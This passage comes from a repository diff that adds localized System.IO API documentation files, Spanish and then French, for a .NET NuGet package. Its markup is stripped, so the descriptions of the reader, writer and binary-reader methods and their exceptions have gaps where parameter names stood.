contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Índice inicial del búfer. + Número de caracteres que se va a leer. + + es null. + La longitud del búfer menos es menor que . + + o son negativos. + El sistema de lectura actual está cerrado. + 2 + + + Lee de forma asincrónica un número máximo de caracteres especificado en la cadena actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la cadena. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se pueden leer.Si el final de la cadena se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + + es null. + + o son negativos. + La suma de y es mayor que la longitud del búfer. + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee de forma asincrónica un número máximo de caracteres especificado en la cadena actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la cadena. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se pueden leer.Si el final de la cadena se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + + es null. + + o son negativos. + La suma de y es mayor que la longitud del búfer. + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres de la cadena actual y devuelve los datos como una cadena. + Línea siguiente de la cadena actual, o null si se alcanza el final de la cadena. + El sistema de lectura actual está cerrado. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + 2 + + + Lee de forma asincrónica una línea de caracteres de la cadena actual y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente del lector de cadenas, o es null si se han leído todos los caracteres. + El número de caracteres de la siguiente línea es mayor que . + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final de la cadena y los devuelve como una cadena única. + Contenido desde la posición actual hasta el final de la cadena subyacente. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El sistema de lectura actual está cerrado. + 2 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final de la cadena y los devuelve como una cadena única. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final de la cadena. + El número de caracteres es mayor que . + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Implementa para escribir información en una cadena.La información se almacena en el subyacente. + 2 + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el control de formato especificado. + Objeto que controla las operaciones de formato. + + + Inicializa una nueva instancia de la clase que escribe en el especificado. + Objeto StringBuilder en el que se va a escribir. + + es null. + + + Inicializa una nueva instancia de la clase que escribe en el especificado y tiene el control de formato especificado. + Objeto StringBuilder en el que se va a escribir. + Objeto que controla las operaciones de formato. + + es null. + + + Libera los recursos no administrados que utiliza y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Obtiene el donde se escribe el resultado. + Encoding donde se escribe el resultado. + 1 + + + Borra asincrónicamente todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + + + Devuelve el subyacente. + Objeto StringBuilder subyacente. + 2 + + + Devuelve una cadena que contiene los caracteres escritos hasta el momento en el StringWriter actual. + Cadena que contiene los caracteres escritos en el StringWriter actual. + 2 + + + Escribe un carácter en la cadena. + Carácter que se va a escribir. + El sistema de escritura está cerrado. + 2 + + + Escribe una submatriz de caracteres en la cadena. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + + o son negativos. + ( + ) > .Length. + El sistema de escritura está cerrado. + 2 + + + Escribe una cadena en la cadena actual. + Cadena que se va a escribir. + El sistema de escritura está cerrado. + 2 + + + Escribe un carácter en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Carácter que se va a escribir en la cadena. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + La suma de y es mayor que la longitud del búfer. + + o son negativos. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la cadena actual de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Cadena que se va a escribir.Si es null, no se escribirá nada en la secuencia de texto. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de forma asincrónica de línea en la cadena. + Tarea que representa la operación de escritura asincrónico. + Carácter que se va a escribir en la cadena. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + La suma de y es mayor que la longitud del búfer. + + o son negativos. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguida de un terminador de línea de forma asincrónica en la cadena actual. + Tarea que representa la operación de escritura asincrónico. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Representa un lector que puede leer una serie secuencial de caracteres. + 2 + + + Inicializa una nueva instancia de la clase . + + + Libera todos los recursos utilizados por el objeto . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true si se van a liberar los recursos administrados y no administrados; es false si se van a liberar únicamente los recursos no administrados. + + + Proporciona un TextReader sin datos del que leer. + 1 + + + Lee el siguiente carácter sin modificar el estado del sistema de lectura o el origen del carácter.Devuelve el siguiente carácter disponible sin leerlo realmente del lector. + Un entero que representa el siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si el lector no admite la operación de búsqueda. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee el siguiente carácter en el lector de texto y hace avanzar la posición de los caracteres en un carácter. + Carácter siguiente del lector de texto o -1 si no hay más caracteres disponibles.La implementación predeterminada devuelve -1. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee un número máximo de caracteres especificado en el lector actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , en función de si los datos están disponibles dentro del lector.Este método devuelve 0 (cero) si se llama cuando no quedan más caracteres para leer. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del lector se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + El valor de es null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee un número máximo de caracteres especificado en el lector de texto actual de forma asincrónica y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final del texto. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del texto se alcanza antes de leer el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + El valor de o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee un número máximo de caracteres especificado en el lector de texto actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , en función de si se han leído todos los caracteres de entrada. + Cuando este método finaliza, este parámetro contiene la matriz de caracteres especificada con valores entre e ( + -1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + El valor de es null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + El objeto está cerrado. + Se produce un error de E/S. + 2 + + + Lee un número máximo de caracteres especificado en el lector de texto actual de forma asincrónica y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final del texto. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del texto se alcanza antes de leer el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + El valor de o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres del lector de texto y devuelve los datos como una cadena. + Línea siguiente del lector o null si se han leído todos los caracteres. + Se produce un error de E/S. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El objeto está cerrado. + El número de caracteres de la siguiente línea es mayor que + 1 + + + Lee de forma asincrónica una línea de caracteres y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente del lector de texto, o es null si se han leído todos los caracteres. + El número de caracteres de la siguiente línea es mayor que . + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final del lector de texto y los devuelve como una cadena. + Cadena que contiene todos los caracteres desde la posición actual hasta el final del lector. + Se produce un error de E/S. + El objeto está cerrado. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El número de caracteres de la siguiente línea es mayor que + 1 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final del lector de texto y los devuelve como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final del lector de texto. + El número de caracteres es mayor que . + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Representa un sistema de escritura que puede escribir una serie secuencial de caracteres.Esta clase es abstracta. + 2 + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el control de formato especificado. + Objeto que controla las operaciones de formato. + + + Almacena los caracteres de nueva línea usados para el TextWriter. + + + Libera todos los recursos utilizados por el objeto . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Cuando se reemplaza en una clase derivada, devuelve la codificación de caracteres en que se escribe el resultado. + Codificación de caracteres donde se escriben los resultados. + 1 + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + 1 + + + Borra asincrónicamente todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se desecha el sistema de escritura de texto. + El sistema de escritura está actualmente en uso por una operación de escritura anterior. + + + Obtiene un objeto que controla las operaciones de formato. + Objeto para una referencia cultural específica o para las operaciones de formato de la referencia cultural actual si no se especificó otra referencia cultural. + 2 + + + Obtiene o establece la cadena de terminador de línea usada por el TextWriter actual. + Cadena de terminador de línea para el TextWriter actual. + 2 + + + Proporciona un TextWriter sin memoria auxiliar, en el que se puede escribir pero no se puede leer. + 1 + + + Escribe la representación de texto de un valor Boolean en la cadena o secuencia de texto. + Valor Boolean que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la cadena o secuencia de texto. + Carácter que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una matriz de caracteres en la cadena o secuencia de texto. + Matriz de caracteres que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una submatriz de caracteres en la cadena o secuencia de texto. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + El parámetro es null. + + o es negativo. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor decimal en la cadena o secuencia de texto. + Valor decimal que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 8 bytes en la cadena o secuencia de texto. + Valor de punto flotante de 8 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 4 bytes en la cadena o secuencia de texto. + Entero de 4 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 8 bytes en la cadena o secuencia de texto. + Entero de 8 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un objeto en la cadena o secuencia de texto mediante una llamada al método ToString en ese objeto. + Objeto que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 4 bytes en la cadena o secuencia de texto. + Valor de punto flotante de 4 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena en la cadena o secuencia de texto. + Cadena que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + El objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es uno). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero) o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es dos). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + Tercer objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es tres). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Matriz de objetos que contiene cero o más objetos a los que se va a aplicar formato y escribir. + El valor de o es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que la longitud de la matriz. + 1 + + + Escribe la representación de texto de un entero sin signo de 4 bytes en la cadena o secuencia de texto. + Entero de 4 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero sin signo de 8 bytes en la cadena o secuencia de texto. + Entero de 8 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una matriz de caracteres en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que se va a escribir en la secuencia de texto.Si es null, no se escribe nada. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + El valor de es null. + El plus es mayor que la longitud del búfer. + + o es negativo. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si es null, no se escribirá nada en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe un terminador de línea en la cadena o secuencia. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor Boolean seguida de un terminador de línea en la cadena o secuencia de texto. + Valor Boolean que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter seguido de un terminador en la cadena o la secuencia de texto. + Carácter que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una matriz de caracteres seguida de un terminador de línea en la cadena o secuencia de texto. + Matriz de caracteres de la que se leen los datos. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una submatriz de caracteres seguida de un terminador de línea en la cadena o secuencia de texto. + Matriz de caracteres de la que se leen los datos. + Posición del carácter en donde comenzar a leer datos. + Número máximo de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + El parámetro es null. + + o es negativo. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor decimal seguida de un terminador de línea en la cadena o secuencia de texto. + Valor decimal que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Valor de punto flotante de 8 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 4 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 8 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un objeto mediante una llamada al método ToString en ese objeto, seguida de un terminador de línea en la cadena o secuencia de texto. + Objeto que se va a escribir.Si es null, sólo se escribe el terminador de línea. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Valor de punto flotante de 4 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena seguida de un terminador en la cadena o la secuencia de texto. + Cadena que se va a escribir.Si es null, sólo se escribe el terminador de línea. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena con formato y una nueva línea en la cadena de texto o a la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + El objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es uno). + 1 + + + Escribe una cadena con formato y una nueva línea en la cadena de texto o a la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es dos). + 1 + + + Escribe una cadena con formato y una nueva línea usando la misma semántica que . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + Tercer objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es tres). + 1 + + + Escribe una cadena con formato y una nueva línea usando la misma semántica que . + Cadena de formato compuesto (vea Comentarios). + Matriz de objetos que contiene cero o más objetos a los que se va a aplicar formato y escribir. + Una cadena u objeto se pasa como null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que la longitud de la matriz. + 1 + + + Escribe la representación de texto de un entero sin signo de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 4 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero sin signo de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 8 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un terminador de línea en la cadena o secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de forma asincrónica en la cadena o la secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una matriz de caracteres seguida de un terminador de línea de forma asincrónica en la cadena o secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que se va a escribir en la secuencia de texto.Si la matriz de caracteres es null, sólo se escribe el terminador de línea. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea de forma asincrónica en la cadena o secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + El valor de es null. + El plus es mayor que la longitud del búfer. + + o es negativo. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguido de un terminador de forma asincrónica en la cadena o la secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/fr/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/fr/System.IO.xml new file mode 100644 index 0000000..1743a62 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/fr/System.IO.xml @@ -0,0 +1,2201 @@ + + + + System.IO + + + + Lit les types de données primitifs sous forme de valeurs binaires avec un encodage spécifique. + 2 + + + Initialise une nouvelle instance de la classe en fonction du flux spécifié et à l'aide de l'encodage UTF-8. + Flux d'entrée. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + + Initialise une nouvelle instance de la classe en fonction du flux et l'encodage de caractères spécifiés. + Flux d'entrée. + Encodage des caractères à utiliser. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + a la valeur null. + + + Initialise une nouvelle instance de la classe en fonction du flux et de l'encodage de caractères spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux d'entrée. + Encodage des caractères à utiliser. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + ou a la valeur null. + + + Expose l'accès au flux sous-jacent de l'élément . + Flux sous-jacent associé à l'élément BinaryReader. + 2 + + + Libère toutes les ressources utilisées par l'instance actuelle de la classe . + + + Libère les ressources non managées utilisées par la classe et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Remplit la mémoire tampon interne avec le nombre spécifié d'octets lus à partir du flux. + Nombre d'octets à lire. + La fin du flux est atteinte avant que n'ait pu être lu. + Une erreur d'E/S se produit. + + demandé est plus grand que la taille de la mémoire tampon interne. + + + Retourne le prochain caractère disponible et n'avance pas la position de caractère ou d'octet. + Prochain caractère disponible, ou -1 si aucun caractère n'est disponible ou si le flux ne prend pas en charge la recherche. + Une erreur d'E/S se produit. + Le caractère actuel ne peut pas être décodé dans la mémoire tampon de caractères interne à l'aide du sélectionné pour le flux de données. + 2 + + + Lit les caractères du flux sous-jacent et avance la position actuelle du flux conformément à la valeur Encoding utilisée et au caractère spécifique en cours de lecture dans le flux. + Caractère suivant du flux d'entrée, ou -1 si aucun caractère n'est actuellement disponible. + Une erreur d'E/S se produit. + Le flux est fermé. + 2 + + + Lit le nombre spécifié d'octets dans le flux, en commençant à un point spécifié dans le tableau d'octets. + Nombre d'octets lus dans .Ce total peut être inférieur au nombre d'octets demandé si ce nombre d'octets n'est pas disponible, ou il peut être égal à zéro si la fin du flux est atteinte. + Mémoire tampon dans laquelle lire les données. + Point de départ, dans la mémoire tampon, à partir duquel commencer la lecture de la mémoire tampon. + Nombre d'octets à lire. + La longueur de la mémoire tampon moins est inférieure à . ouLe nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + + a la valeur null. + + ou est négatif. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit le nombre spécifié de caractères du flux, en commençant à un point spécifié dans le tableau de caractères. + Nombre total de caractères lus dans la mémoire tampon.Ce total peut être inférieur au nombre de caractères demandé si ce nombre de caractères n'est pas disponible actuellement, ou il peut être égal à zéro si la fin du flux est atteinte. + Mémoire tampon dans laquelle lire les données. + Point de départ, dans la mémoire tampon, à partir duquel commencer la lecture de la mémoire tampon. + Nombre de caractères à lire. + La longueur de la mémoire tampon moins est inférieure à . ouLe nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + + a la valeur null. + + ou est négatif. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier 32 bits au format compressé. + Entier 32 bits au format compressé. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + Le flux est endommagé. + + + Lit une valeur Boolean à partir du flux actuel et avance la position actuelle du flux d'un octet. + true si l'octet est différent de zéro ; sinon, false. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit l'octet suivant du flux actuel et avance la position actuelle du flux d'un octet. + Octet suivant lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit le nombre spécifié d'octets du flux actuel dans un tableau d'octets et avance la position actuelle de ce nombre d'octets. + Tableau d'octets contenant les données lues dans le flux sous-jacent.Cette valeur peut être inférieure au nombre d'octets demandé si la fin du flux est atteinte. + Nombre d'octets à lire.Cette valeur doit être 0 ou un nombre non négatif, sinon une exception se produit. + Le nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + Une erreur d'E/S se produit. + Le flux est fermé. + + est négatif. + 2 + + + Lit le caractère suivant dans le flux actuel et avance la position actuelle du flux conformément à la valeur Encoding utilisée et du caractère spécifique en cours de lecture dans le flux. + Caractère lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + Un caractère de substitution a été lu. + 2 + + + Lit le nombre spécifié de caractères dans le flux actuel, retourne les données dans un tableau de caractères et avance la position actuelle conformément à la valeur Encoding utilisée et au caractère spécifique en cours de lecture dans le flux. + Tableau de caractères contenant des données lues dans le flux sous-jacent.Cette valeur peut être inférieure au nombre de caractères demandés si la fin du flux est atteinte. + Nombre de caractères à lire. + Le nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + Le flux est fermé. + Une erreur d'E/S se produit. + + est négatif. + 2 + + + Lit une valeur décimale dans le flux actuel et avance la position actuelle du flux de 16 octets. + Valeur décimale lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une valeur à virgule flottante de 8 octets dans le flux actuel et avance la position actuelle du flux de huit octets. + Valeur à virgule flottante de 8 octets lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 2 octets dans le flux 